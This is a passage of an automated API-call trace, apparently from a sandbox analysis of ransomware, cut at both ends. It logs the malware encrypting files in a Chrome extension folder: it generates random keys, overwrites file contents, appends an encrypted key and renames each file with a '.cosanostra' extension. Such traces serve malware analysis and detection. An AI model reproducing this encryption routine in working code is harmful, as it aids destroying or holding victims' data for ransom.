Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0105.128] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef28 | out: pbBuffer=0x251ef28) returned 1 [0105.129] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef20*=0x30) returned 1 [0105.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.129] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json") returned 164 [0105.130] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.148] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.149] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eee4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251eee4*=0x2800, lpOverlapped=0x0) returned 1 [0105.149] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.149] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eee4, lpOverlapped=0x0 | out: lpBuffer=0x251ef24*, lpNumberOfBytesWritten=0x251eee4*=0x4, lpOverlapped=0x0) returned 1 [0105.149] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eee4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eee4*=0x30, lpOverlapped=0x0) returned 1 [0105.150] CloseHandle (hObject=0x15c) returned 1 [0105.150] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.cosanostra") returned 175 [0105.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0105.153] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef20 | out: pbBuffer=0x251ef20) returned 1 [0105.153] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef18*=0x30) returned 1 [0105.153] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.154] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json") returned 164 [0105.154] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.157] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.157] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eedc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251eedc*=0x2800, lpOverlapped=0x0) returned 1 [0105.157] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.157] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eedc, lpOverlapped=0x0 | out: lpBuffer=0x251ef1c*, lpNumberOfBytesWritten=0x251eedc*=0x4, lpOverlapped=0x0) returned 1 [0105.157] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eedc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eedc*=0x30, lpOverlapped=0x0) returned 1 [0105.158] CloseHandle (hObject=0x15c) returned 1 [0105.158] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.cosanostra") returned 175 [0105.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0105.161] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef18 | out: pbBuffer=0x251ef18) returned 1 [0105.161] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef10*=0x30) returned 1 [0105.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.162] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json") returned 164 [0105.162] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.171] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.171] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eed4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251eed4*=0x2800, lpOverlapped=0x0) returned 1 [0105.171] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.171] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eed4, lpOverlapped=0x0 | out: lpBuffer=0x251ef14*, lpNumberOfBytesWritten=0x251eed4*=0x4, lpOverlapped=0x0) returned 1 [0105.172] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eed4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eed4*=0x30, lpOverlapped=0x0) returned 1 [0105.172] CloseHandle (hObject=0x15c) returned 1 [0105.172] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.cosanostra") returned 175 [0105.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0105.174] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef10 | out: pbBuffer=0x251ef10) returned 1 [0105.174] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef08*=0x30) returned 1 [0105.175] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.175] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json") returned 167 [0105.176] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.212] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.212] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eecc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251eecc*=0x2800, lpOverlapped=0x0) returned 1 [0105.212] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.212] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eecc, lpOverlapped=0x0 | out: lpBuffer=0x251ef0c*, lpNumberOfBytesWritten=0x251eecc*=0x4, lpOverlapped=0x0) returned 1 [0105.225] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eecc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eecc*=0x30, lpOverlapped=0x0) returned 1 [0105.225] CloseHandle (hObject=0x15c) returned 1 [0105.225] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.cosanostra") returned 178 [0105.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0105.230] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef08 | out: pbBuffer=0x251ef08) returned 1 [0105.230] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ef00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ef00*=0x30) returned 1 [0105.230] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.231] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json") returned 164 [0105.231] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.285] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.285] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eec4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251eec4*=0x2800, lpOverlapped=0x0) returned 1 [0105.672] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.672] WriteFile (in: hFile=0x15c, lpBuffer=0x251ef04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eec4, lpOverlapped=0x0 | out: lpBuffer=0x251ef04*, lpNumberOfBytesWritten=0x251eec4*=0x4, lpOverlapped=0x0) returned 1 [0105.711] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eec4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eec4*=0x30, lpOverlapped=0x0) returned 1 [0105.721] CloseHandle (hObject=0x15c) returned 1 [0105.722] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.cosanostra") returned 175 [0105.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.cosanostra")) returned 1 [0105.750] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef00 | out: pbBuffer=0x251ef00) returned 1 [0105.750] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eef8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eef8*=0x30) returned 1 [0105.750] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.751] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json") returned 164 [0105.751] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.774] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.774] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251eebc*=0x2800, lpOverlapped=0x0) returned 1 [0105.774] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.774] WriteFile (in: hFile=0x15c, lpBuffer=0x251eefc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x251eefc*, lpNumberOfBytesWritten=0x251eebc*=0x4, lpOverlapped=0x0) returned 1 [0105.774] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eebc*=0x30, lpOverlapped=0x0) returned 1 [0105.774] CloseHandle (hObject=0x15c) returned 1 [0105.774] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.cosanostra") returned 175 [0105.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.cosanostra")) returned 1 [0105.776] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef00 | out: pbBuffer=0x251ef00) returned 1 [0105.776] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eef8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eef8*=0x30) returned 1 [0105.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0105.785] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js") returned 166 [0105.785] StrStrW (lpFirst="mirroring_cast_streaming.js", lpSrch=".txt") returned 0x0 [0105.858] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.858] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251eebc*=0x2800, lpOverlapped=0x0) returned 1 [0106.016] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.016] WriteFile (in: hFile=0x15c, lpBuffer=0x251eefc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x251eefc*, lpNumberOfBytesWritten=0x251eebc*=0x4, lpOverlapped=0x0) returned 1 [0106.016] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251eebc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251eebc*=0x30, lpOverlapped=0x0) returned 1 [0106.016] CloseHandle (hObject=0x15c) returned 1 [0106.016] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.cosanostra") returned 177 [0106.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: 